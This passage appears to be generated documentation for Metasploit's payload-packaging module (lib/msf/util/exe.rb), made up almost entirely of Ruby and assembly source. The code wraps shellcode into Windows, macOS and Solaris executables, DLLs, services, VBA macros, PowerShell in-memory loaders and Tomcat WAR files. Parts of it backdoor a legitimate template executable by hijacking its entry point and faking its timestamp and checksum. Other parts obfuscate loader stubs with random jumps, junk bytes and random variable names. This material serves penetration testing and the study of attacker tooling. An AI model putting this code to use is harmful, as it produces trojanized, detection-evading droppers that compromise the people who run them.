  zip.add_file("#{app_name}/Contents/Resources/", '')
  zip.add_file("#{app_name}/Contents/MacOS/#{exe_name}", exe)
  zip.add_file("#{app_name}/Contents/Info.plist", info_plist)
  zip.add_file("#{app_name}/Contents/PkgInfo", 'APPLaplt')
  zip.pack
end

.to_osx_arm_macho(framework, code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError) 

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# File 'lib/msf/util/exe.rb', line 563

def self.to_osx_arm_macho(framework, code, opts={})

  # Allow the user to specify their own template
  set_template_default(opts, "template_armle_darwin.bin")

  mo = ''
  File.open(opts[:template], "rb") { |fd|
    mo = fd.read(fd.stat.size)
  }

  bo = mo.index('PAYLOAD:')
  raise RuntimeError, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag" if not bo
  mo[bo, code.length] = code

  return mo
end

.to_osx_ppc_macho(framework, code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError) 

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# File 'lib/msf/util/exe.rb', line 580

def self.to_osx_ppc_macho(framework, code, opts={})

  # Allow the user to specify their own template
  set_template_default(opts, "template_ppc_darwin.bin")

  mo = ''
  File.open(opts[:template], "rb") { |fd|
    mo = fd.read(fd.stat.size)
  }

  bo = mo.index('PAYLOAD:')
  raise RuntimeError, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag" if not bo
  mo[bo, code.length] = code

  return mo
end

.to_osx_x64_macho(framework, code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError) 

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# File 'lib/msf/util/exe.rb', line 614

def self.to_osx_x64_macho(framework, code, opts={})
  set_template_default(opts, "template_x64_darwin.bin")

  macho = ''

  File.open(opts[:template], 'rb') { |fd|
    macho = fd.read(fd.stat.size)
  }

  bin = macho.index('PAYLOAD:')
  raise RuntimeError, "Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag" if not bin
  macho[bin, code.length] = code

  return macho
end

.to_osx_x86_macho(framework, code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError) 

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# File 'lib/msf/util/exe.rb', line 597

def self.to_osx_x86_macho(framework, code, opts={})

  # Allow the user to specify their own template
  set_template_default(opts, "template_x86_darwin.bin")

  mo = ''
  File.open(opts[:template], "rb") { |fd|
    mo = fd.read(fd.stat.size)
  }

  bo = mo.index('PAYLOAD:')
  raise RuntimeError, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag" if not bo
  mo[bo, code.length] = code

  return mo
end

.to_solaris_x86_elf(framework, code, opts = {}) ⇒ Object

Create a 32-bit Solaris ELF containing the payload provided in code


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# File 'lib/msf/util/exe.rb', line 776

def self.to_solaris_x86_elf(framework, code, opts={})
  elf = to_exe_elf(framework, opts, "template_x86_solaris.bin", code)
  return elf
end

.to_vba(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 848

def self.to_vba(framework,code,opts={})
  hash_sub = {}
  hash_sub[:var_myByte]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_myArray]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_rwxpage]  	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_res]      	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_offset] 		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpThreadAttributes] = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_dwStackSize]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpStartAddress]     = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpParameter]        = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_dwCreationFlags]	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpThreadID]         = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lpAddr]             = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lSize]              = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_flAllocationType]   = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_flProtect]          = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_lDest]	          = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_Source]	 	  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize
  hash_sub[:var_Length]		  = Rex::Text.rand_text_alpha(rand(7)+3).capitalize

  # put the shellcode bytes into an array
  hash_sub[:bytes] = Rex::Text.to_vbapplication(code, hash_sub[:var_myArray])

  return read_replace_script_template("to_mem.vba.template", hash_sub)
end

.to_war(jsp_raw, opts = {}) ⇒ String

TODO:

Refactor to return a Rex::Zip::Archive or Rex::Zip::Jar

Creates a Web Archive (WAR) file from the provided jsp code.

On Tomcat, WAR files will be deployed into a directory with the same name as the archive, e.g. foo.war will be extracted into foo/. If the server is in a default configuration, deoployment will happen automatically. See the Tomcat documentation for a description of how this works.

Parameters:

  • jsp_raw (String) —

    JSP code to be added in a file called jsp_name in the archive. This will be compiled by the victim servlet container (e.g., Tomcat) and act as the main function for the servlet.

  • opts (Hash) (defaults to: {})

Options Hash (opts):

  • :jsp_name (String) —

    Name of the <jsp-file> in the archive _without the .jsp extension_. Defaults to random.

  • :app_name (String) —

    Name of the app to put in the <servlet-name> tag. Mostly irrelevant, except as an identifier in web.xml. Defaults to random.

  • :extra_files (Array<String,String>) —

    Additional files to add to the archive. First elment is filename, second is data

Returns:

  • (String) 

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# File 'lib/msf/util/exe.rb', line 1064

def self.to_war(jsp_raw, opts={})
  jsp_name = opts[:jsp_name]
  jsp_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)
  app_name = opts[:app_name]
  app_name ||= Rex::Text.rand_text_alpha_lower(rand(8)+8)

  meta_inf = [ 0xcafe, 0x0003 ].pack('Vv')
  manifest = "Manifest-Version: 1.0\r\nCreated-By: 1.6.0_17 (Sun Microsystems Inc.)\r\n\r\n"
  web_xml = %q{<?xml version="1.0"?>
<!DOCTYPE web-app PUBLIC
"-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>NAME</servlet-name>
<jsp-file>/PAYLOAD.jsp</jsp-file>
</servlet>
</web-app>
}
  web_xml.gsub!(/NAME/, app_name)
  web_xml.gsub!(/PAYLOAD/, jsp_name)

  zip = Rex::Zip::Archive.new
  zip.add_file('META-INF/', '', meta_inf)
  zip.add_file('META-INF/MANIFEST.MF', manifest)
  zip.add_file('WEB-INF/', '')
  zip.add_file('WEB-INF/web.xml', web_xml)  # add the payload

  zip.add_file("#{jsp_name}.jsp", jsp_raw)

  # add extra files
  if opts[:extra_files]
    opts[:extra_files].each { |el|
      zip.add_file(el[0], el[1])
    }
  end

  return zip.pack
end

.to_win32pe(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 153

def self.to_win32pe(framework, code, opts={})

  # For backward compatability, this is roughly equivalent to 'exe-small' fmt
  if opts[:sub_method]
    if opts[:inject]
      raise RuntimeError, 'NOTE: using the substitution method means no inject support'
    end

    # use
    return self.to_win32pe_exe_sub(framework, code, opts)
  end

  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x86_windows.exe")

  # Copy the code to a new RWX segment to allow for self-modifying encoders
  payload = win32_rwx_exec(code)

  # Create a new PE object and run through sanity checks
  fsize = File.size(opts[:template])
  pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
  text = nil
  pe.sections.each do |sec|
    text = sec if sec.name == ".text"
  end

  #try to inject code into executable by adding a section without affecting executable behavior
  if(opts[:inject])
    injector = Msf::Exe::SegmentInjector.new({
        :payload  => code,
        :template => opts[:template],
        :arch     => :x86
    })
    exe = injector.generate_pe
    return exe
  end

  if(not text)
    raise RuntimeError, "No .text section found in the template"
  end

  if ! text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
    raise RuntimeError, "The .text section does not contain an entry point"
  end

  p_length = payload.length + 256
  if(text.size < p_length)
    fname = ::File.basename(opts[:template])
    msg  = "The .text section for '#{fname}' is too small. "
    msg << "Minimum is #{p_length.to_s} bytes, your .text section is #{text.size.to_s} bytes"
    raise RuntimeError, msg
  end

  # Store some useful offsets
  off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
  off_beg = pe.rva_to_file_offset(text.base_rva)

  # We need to make sure our injected code doesn't conflict with the
  # the data directories stored in .text (import, export, etc)
  mines = []
  pe.hdr.opt['DataDirectory'].each do |dir|
    next if dir.v['Size'] == 0
    next if not text.contains_rva?( dir.v['VirtualAddress'] )
    mines << [ pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg, dir.v['Size'] ]
  end

  # Break the text segment into contiguous blocks
  blocks = []
  bidx   = 0
  mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
    bbeg = bidx
    bend = mine[0]
    if(bbeg != bend)
      blocks << [bidx, bend-bidx]
    end
    bidx = mine[0] + mine[1]
  end

  # Add the ending block
  if(bidx < text.size - 1)
    blocks << [bidx, text.size - bidx]
  end

  # Find the largest contiguous block
  blocks.sort!{|a,b| b[1]<=>a[1]}
  block = blocks[0]

  # TODO: Allow the entry point in a different block
  if(payload.length + 256 > block[1])
    raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+256} found:#{block[1]})"
  end

  # Make a copy of the entire .text section
  data = text.read(0,text.size)

  # Pick a random offset to store the payload
  poff = rand(block[1] - payload.length - 256)

  # Flip a coin to determine if EP is before or after
  eloc = rand(2)
  eidx = nil

  # Pad the entry point with random nops
  entry = generate_nops(framework, [ARCH_X86], rand(200)+51)

  # Pick an offset to store the new entry point
  if(eloc == 0) # place the entry point before the payload
    poff += 256
    eidx = rand(poff-(entry.length + 5))
  else          # place the entry pointer after the payload
    poff -= 256
    eidx = rand(block[1] - (poff + payload.length)) + poff + payload.length
  end

  # Relative jump from the end of the nops to the payload
  entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')

  # Mangle 25% of the original executable
  1.upto(block[1] / 4) do
    data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
  end

  # Patch the payload and the new entry point into the .text
  data[block[0] + poff, payload.length] = payload
  data[block[0] + eidx, entry.length]   = entry

  # Create the modified version of the input executable
  exe = ''
  File.open(opts[:template], 'rb') { |fd|
    exe = fd.read(fd.stat.size)
  }

  exe[ exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = [ text.base_rva + block[0] + eidx ].pack("V")
  exe[off_beg, data.length] = data

  tds = pe.hdr.file.TimeDateStamp
  exe[ exe.index([ tds ].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")

  cks = pe.hdr.opt.CheckSum
  if(cks != 0)
    exe[ exe.index([ cks ].pack('V')), 4] = [0].pack("V")
  end

  pe.close

  exe
end

.to_win32pe_dll(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 479

def self.to_win32pe_dll(framework, code, opts={})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x86_windows.dll")
  opts[:exe_type] = :dll

  if opts[:inject]
     return self.to_win32pe(framework, code, opts)
  else
    return exe_sub_method(code,opts)
  end
end

.to_win32pe_exe_sub(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 441

def self.to_win32pe_exe_sub(framework, code, opts={})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x86_windows.exe")
  opts[:exe_type] = :exe_sub
  exe_sub_method(code,opts)
end

.to_win32pe_old(framework, code, opts = {}) ⇒ Object

Raises:

  • (RuntimeError) 

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# File 'lib/msf/util/exe.rb', line 340

def self.to_win32pe_old(framework, code, opts={})

  payload = code.dup  # Allow the user to specify their own EXE template

  set_template_default(opts, "template_x86_windows_old.exe")

  pe = ''
  File.open(opts[:template], "rb") { |fd|
    pe = fd.read(fd.stat.size)
  }

  if(payload.length <= 2048)
    payload << Rex::Text.rand_text(2048-payload.length)
  else
    raise RuntimeError, "The EXE generator now has a max size of 2048 bytes, please fix the calling module"
  end

  bo = pe.index('PAYLOAD:')
  raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag" if not bo
  pe[bo, payload.length] = payload

  pe[136, 4] = [rand(0x100000000)].pack('V')

  ci = pe.index("\x31\xc9" * 160)
  raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\"" if not ci
  cd = pe.index("\x31\xc9" * 160, ci + 320)
  raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\"" if not cd
  rc = pe[ci+320, cd-ci-320]

  # 640 + rc.length bytes of room to store an encoded rc at offset ci
  enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
  lft = 640+rc.length - enc.length

  buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
  pe[ci, buf.length] = buf

  # Make the data section executable
  xi = pe.index([0xc0300040].pack('V'))
  pe[xi,4] = [0xe0300020].pack('V')

  # Add a couple random bytes for fun
  pe << Rex::Text.rand_text(rand(64)+4)

  return pe
end

.to_win32pe_psh(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 971

def self.to_win32pe_psh(framework, code, opts={})
  hash_sub = {}
  hash_sub[:var_code] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_win32_func]	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_payload] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_size] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_rwx] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_iter] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_syscode] 		= Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:shellcode] = Rex::Text.to_powershell(code, hash_sub[:var_code])

  return read_replace_script_template("to_mem_old.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end

.to_win32pe_psh_net(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 954

def self.to_win32pe_psh_net(framework, code, opts={})
  hash_sub = {}
  hash_sub[:var_code] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_kernel32] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_baseaddr] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_threadHandle] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_output] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_temp] 		= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_codeProvider] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_compileParams] 	= Rex::Text.rand_text_alpha(rand(8)+8)
  hash_sub[:var_syscode] 		= Rex::Text.rand_text_alpha(rand(8)+8)

  hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

  return read_replace_script_template("to_mem_dotnet.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end

.to_win32pe_psh_reflection(framework, code, opts = {}) ⇒ Object

Reflection technique prevents the temporary .cs file being created for the .NET compiler Tweaked by shellster Originally from PowerSploit


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# File 'lib/msf/util/exe.rb', line 991

def self.to_win32pe_psh_reflection(framework, code, opts={})
  # Intialize rig and value names
  rig = Rex::RandomIdentifierGenerator.new()
  rig.init_var(:func_get_proc_address)
  rig.init_var(:func_get_delegate_type)
  rig.init_var(:var_code)
  rig.init_var(:var_module)
  rig.init_var(:var_procedure)
  rig.init_var(:var_unsafe_native_methods)
  rig.init_var(:var_parameters)
  rig.init_var(:var_return_type)
  rig.init_var(:var_type_builder)
  rig.init_var(:var_buffer)
  rig.init_var(:var_hthread)

  hash_sub = rig.to_h

  hash_sub[:b64shellcode] = Rex::Text.encode_base64(code)

  return read_replace_script_template("to_mem_pshreflection.ps1.template", hash_sub).gsub(/(?<!\r)\n/, "\r\n")
end

.to_win32pe_service(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 465

def self.to_win32pe_service(framework, code, opts={})
  # Allow the user to specify their own service EXE template
  set_template_default(opts, "template_x86_windows_svc.exe")
  opts[:exe_type] = :service_exe
  exe_sub_method(code,opts)
end

.to_win32pe_vbs(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 1013

def self.to_win32pe_vbs(framework, code, opts={})
  to_exe_vbs(to_win32pe(framework, code, opts), opts)
end

.to_win64pe(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 448

def self.to_win64pe(framework, code, opts={})
  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_x64_windows.exe")  #try to inject code into executable by adding a section without affecting executable behavior

  if(opts[:inject])
    injector = Msf::Exe::SegmentInjector.new({
       :payload  => code,
       :template => opts[:template],
       :arch     => :x64
    })
    exe = injector.generate_pe
    return exe
  end
  opts[:exe_type] = :exe_sub
  exe_sub_method(code,opts)
end

.to_win64pe_dll(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 491

def self.to_win64pe_dll(framework, code, opts={})
  # Allow the user to specify their own DLL template
  set_template_default(opts, "template_x64_windows.dll")
  opts[:exe_type] = :dll

  if opts[:inject]
    raise RuntimeError, 'Template injection unsupported for x64 DLLs'
  else
    return exe_sub_method(code,opts)
  end
end

.to_win64pe_service(framework, code, opts = {}) ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 472

def self.to_win64pe_service(framework, code, opts={})
  # Allow the user to specify their own service EXE template
  set_template_default(opts, "template_x64_windows_svc.exe")
  opts[:exe_type] = :service_exe
  exe_sub_method(code,opts)
end

.to_winpe_only(framework, code, opts = {}, arch = "x86") ⇒ Object 


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# File 'lib/msf/util/exe.rb', line 301

def self.to_winpe_only(framework, code, opts={}, arch="x86")

  if arch == ARCH_X86_64
    arch = ARCH_X64
  end

  # Allow the user to specify their own EXE template
  set_template_default(opts, "template_"+arch+"_windows.exe")

  pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)

  exe = ''
    File.open(opts[:template], 'rb') { |fd|
      exe = fd.read(fd.stat.size)
    }

  sections_header = []
  pe._file_header.v['NumberOfSections'].times { |i| sections_header << [(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18+0x24),exe[(i*0x28)+pe.rva_to_file_offset(pe._dos_header.v['e_lfanew']+pe._file_header.v['SizeOfOptionalHeader']+0x18),0x28]] }


  #look for section with entry point
  sections_header.each do |sec|
    virtualAddress = sec[1][0xc,0x4].unpack('L')[0]
    sizeOfRawData = sec[1][0x10,0x4].unpack('L')[0]
    characteristics = sec[1][0x24,0x4].unpack('L')[0]
    if pe.hdr.opt.AddressOfEntryPoint >= virtualAddress && pe.hdr.opt.AddressOfEntryPoint < virtualAddress+sizeOfRawData      #put this section writable

      characteristics|=0x80000000
      newcharacteristics = [characteristics].pack('L')
      exe[sec[0],newcharacteristics.length]=newcharacteristics
    end
  end

  #put the shellcode at the entry point, overwriting template
  exe[pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint),code.length]=code

  return exe
end

.win32_rwx_exec(code) ⇒ Object

This wrapper is responsible for allocating RWX memory, copying the target code there, setting an exception handler that calls ExitProcess and finally executing the code.


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# File 'lib/msf/util/exe.rb', line 1223

def self.win32_rwx_exec(code)

  stub_block = %Q^
  ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
  ; Output: The return value from the API call will be in EAX.
  ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
  ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
  ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
  ; Note: This function is unable to call forwarded exports.

  api_call:
    pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
    mov ebp, esp           ; Create a new stack frame
    xor edx, edx           ; Zero EDX
    mov edx, [fs:edx+48]   ; Get a pointer to the PEB
    mov edx, [edx+12]      ; Get PEB->Ldr
    mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
  next_mod:                ;
    mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
    movzx ecx, word [edx+38] ; Set ECX to the length we want to check
    xor edi, edi           ; Clear EDI which will store the hash of the module name
  loop_modname:            ;
    xor eax, eax           ; Clear EAX
    lodsb                  ; Read in the next byte of the name
    cmp al, 'a'            ; Some versions of Windows use lower case module names
    jl not_lowercase       ;
    sub al, 0x20           ; If so normalise to uppercase
  not_lowercase:           ;
    ror edi, 13            ; Rotate right our hash value
    add edi, eax           ; Add the next byte of the name
    ;loop loop_modname      ; Loop until we have read enough
    ; The random jmps added below will occasionally make this offset
    ; greater than will fit in a byte, so we have to use a regular jnz
    ; instruction which can take a full 32-bits to accomodate the
    ; bigger offset
    dec ecx
    jnz loop_modname        ; Loop until we have read enough
    ; We now have the module hash computed
    push edx               ; Save the current position in the module list for later
    push edi               ; Save the current module hash for later
    ; Proceed to iterate the export address table,
    mov edx, [edx+16]      ; Get this modules base address
    mov eax, [edx+60]      ; Get PE header
    add eax, edx           ; Add the modules base address
    mov eax, [eax+120]     ; Get export tables RVA
    test eax, eax          ; Test if no export address table is present
    jz get_next_mod1       ; If no EAT present, process the next module
    add eax, edx           ; Add the modules base address
    push eax               ; Save the current modules EAT
    mov ecx, [eax+24]      ; Get the number of function names
    mov ebx, [eax+32]      ; Get the rva of the function names
    add ebx, edx           ; Add the modules base address
    ; Computing the module hash + function hash
  get_next_func:           ;
    test ecx, ecx          ; Changed from jecxz to accomodate the larger offset produced by random jmps below
    jz get_next_mod        ; When we reach the start of the EAT (we search backwards), process the next module
    dec ecx                ; Decrement the function name counter
    mov esi, [ebx+ecx*4]   ; Get rva of next module name
    add esi, edx           ; Add the modules base address
    xor edi, edi           ; Clear EDI which will store the hash of the function name
    ; And compare it to the one we want
  loop_funcname:           ;
    xor eax, eax           ; Clear EAX
    lodsb                  ; Read in the next byte of the ASCII function name
    ror edi, 13            ; Rotate right our hash value
    add edi, eax           ; Add the next byte of the name
    cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
    jne loop_funcname      ; If we have not reached the null terminator, continue
    add edi, [ebp-8]       ; Add the current module hash to the function hash
    cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for
    jnz get_next_func      ; Go compute the next function hash if we have not found it
    ; If found, fix up stack, call the function and then value else compute the next one...
    pop eax                ; Restore the current modules EAT
    mov ebx, [eax+36]      ; Get the ordinal table rva
    add ebx, edx           ; Add the modules base address
    mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal
    mov ebx, [eax+28]      ; Get the function addresses table rva
    add ebx, edx           ; Add the modules base address
    mov eax, [ebx+4*ecx]   ; Get the desired functions RVA
    add eax, edx           ; Add the modules base address to get the functions actual VA
    ; We now fix up the stack and perform the call to the desired function...
  finish:
    mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad
    pop ebx                ; Clear off the current modules hash
    pop ebx                ; Clear off the current position in the module list
    popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered
    pop ecx                ; Pop off the origional return address our caller will have pushed
    pop edx                ; Pop off the hash value our caller will have pushed
    push ecx               ; Push back the correct return value
    jmp eax                ; Jump into the required function
    ; We now automagically return to the correct caller...
  get_next_mod:            ;
    pop eax                ; Pop off the current (now the previous) modules EAT
  get_next_mod1:           ;
    pop edi                ; Pop off the current (now the previous) modules hash
    pop edx                ; Restore our position in the module list
    mov edx, [edx]         ; Get the next module
    jmp next_mod           ; Process this module
  ^

  stub_exit = %Q^
  ; Input: EBP must be the address of 'api_call'.
  ; Output: None.
  ; Clobbers: EAX, EBX, (ESP will also be modified)
  ; Note: Execution is not expected to (successfully) continue past this block

  exitfunk:
    mov ebx, 0x0A2A1DE0    ; The EXITFUNK as specified by user...
    push 0x9DBD95A6        ; hash( "kernel32.dll", "GetVersion" )
    call ebp               ; GetVersion(); (AL will = major version and AH will = minor version)
    cmp al, byte 6         ; If we are not running on Windows Vista, 2008 or 7
    jl goodbye             ; Then just call the exit function...
    cmp bl, 0xE0           ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7...
    jne goodbye      ;
    mov ebx, 0x6F721347    ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread
  goodbye:                 ; We now perform the actual call to the exit function
    push byte 0            ; push the exit function parameter
    push ebx               ; push the hash of the exit function
    call ebp               ; call EXITFUNK( 0 );
  ^

  stub_alloc = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
  delta:                   ;
  #{stub_block}
  start:                   ;
    pop ebp                ; Pop off the address of 'api_call' for calling later.

  allocate_size:
     mov esi, #{code.length}

  allocate:
    push byte 0x40         ; PAGE_EXECUTE_READWRITE
    push 0x1000            ; MEM_COMMIT
    push esi               ; Push the length value of the wrapped code block
    push byte 0            ; NULL as we dont care where the allocation is.
    push 0xE553A458        ; hash( "kernel32.dll", "VirtualAlloc" )
    call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );

    mov ebx, eax           ; Store allocated address in ebx
    mov edi, eax           ; Prepare EDI with the new address
    mov ecx, esi           ; Prepare ECX with the length of the code
    call get_payload
  got_payload:
    pop esi                ; Prepare ESI with the source to copy
    rep movsb              ; Copy the payload to RWX memory
    call set_handler       ; Configure error handling

  exitblock:
  #{stub_exit}
  set_handler:
    xor eax,eax
    push dword [fs:eax]
    mov dword [fs:eax], esp
    call ebx
    jmp exitblock
  ^

  stub_final = %Q^
  get_payload:
    call got_payload
  payload:
  ; Append an arbitrary payload here
  ^

  stub_alloc.gsub!('short', '')
  stub_alloc.gsub!('byte', '')

  wrapper = ""  # regs    = %W{eax ebx ecx edx esi edi ebp}


  cnt_jmp = 0
  stub_alloc.each_line do |line|
    line.gsub!(/;.*/, '')
    line.strip!
    next if line.empty?

    if (rand(2) == 0)
      wrapper << "nop\n"
    end

    if(rand(2) == 0)
      wrapper << "jmp autojump#{cnt_jmp}\n"
      1.upto(rand(8)+8) do
        wrapper << "db 0x#{"%.2x" % rand(0x100)}\n"
      end
      wrapper << "autojump#{cnt_jmp}:\n"
      cnt_jmp += 1
    end
    wrapper << line + "\n"
  end

  wrapper << stub_final

  enc = Metasm::Shellcode.assemble(Metasm::Ia32.new, wrapper).encoded
  res = enc.data + code

  res
end

.win32_rwx_exec_thread(code, block_offset, which_offset = 'start') ⇒ Object

This wrapper is responsible for allocating RWX memory, copying the target code there, setting an exception handler that calls ExitProcess, starting the code in a new thread, and finally jumping back to the next code to execute. block_offset is the offset of the next code from the start of this code


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# File 'lib/msf/util/exe.rb', line 1429

def self.win32_rwx_exec_thread(code, block_offset, which_offset='start')

  stub_block = %Q^
  ; Input: The hash of the API to call and all its parameters must be pushed onto stack.
  ; Output: The return value from the API call will be in EAX.
  ; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)
  ; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.
  ; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.
  ; Note: This function is unable to call forwarded exports.

  api_call:
    pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.
    mov ebp, esp           ; Create a new stack frame
    xor edx, edx           ; Zero EDX
    mov edx, [fs:edx+48]   ; Get a pointer to the PEB
    mov edx, [edx+12]      ; Get PEB->Ldr
    mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list
  next_mod:                ;
    mov esi, [edx+40]      ; Get pointer to modules name (unicode string)
    movzx ecx, word [edx+38] ; Set ECX to the length we want to check
    xor edi, edi           ; Clear EDI which will store the hash of the module name
  loop_modname:            ;
    xor eax, eax           ; Clear EAX
    lodsb                  ; Read in the next byte of the name
    cmp al, 'a'            ; Some versions of Windows use lower case module names
    jl not_lowercase       ;
    sub al, 0x20           ; If so normalise to uppercase
  not_lowercase:           ;
    ror edi, 13            ; Rotate right our hash value
    add edi, eax           ; Add the next byte of the name
    loop loop_modname      ; Loop until we have read enough
    ; We now have the module hash computed
    push edx               ; Save the current position in the module list for later
    push edi               ; Save the current module hash for later
    ; Proceed to iterate the export address table,
    mov edx, [edx+16]      ; Get this modules base address
    mov eax, [edx+60]      ; Get PE header
    add eax, edx           ; Add the modules base address
    mov eax, [eax+120]     ; Get export tables RVA
    test eax, eax          ; Test if no export address table is present
    jz get_next_mod1       ; If no EAT present, process the next module
    add eax, edx           ; Add the modules base address
    push eax               ; Save the current modules EAT
    mov ecx, [eax+24]      ; Get the number of function names
    mov ebx, [eax+32]      ; Get the rva of the function names
    add ebx, edx           ; Add the modules base address
    ; Computing the module hash + function hash
  get_next_func:           ;
    jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module
    dec ecx                ; Decrement the function name counter
    mov esi, [ebx+ecx*4]   ; Get rva of next module name
    add esi, edx           ; Add the modules base address
    xor edi, edi           ; Clear EDI which will store the hash of the function name
    ; And compare it to the one we want
  loop_funcname:           ;
    xor eax, eax           ; Clear EAX
    lodsb                  ; Read in the next byte of the ASCII function name
    ror edi, 13            ; Rotate right our hash value
    add edi, eax           ; Add the next byte of the name
    cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)
    jne loop_funcname      ; If we have not reached the null terminator, continue
    add edi, [ebp-8]       ; Add the current module hash to the function hash
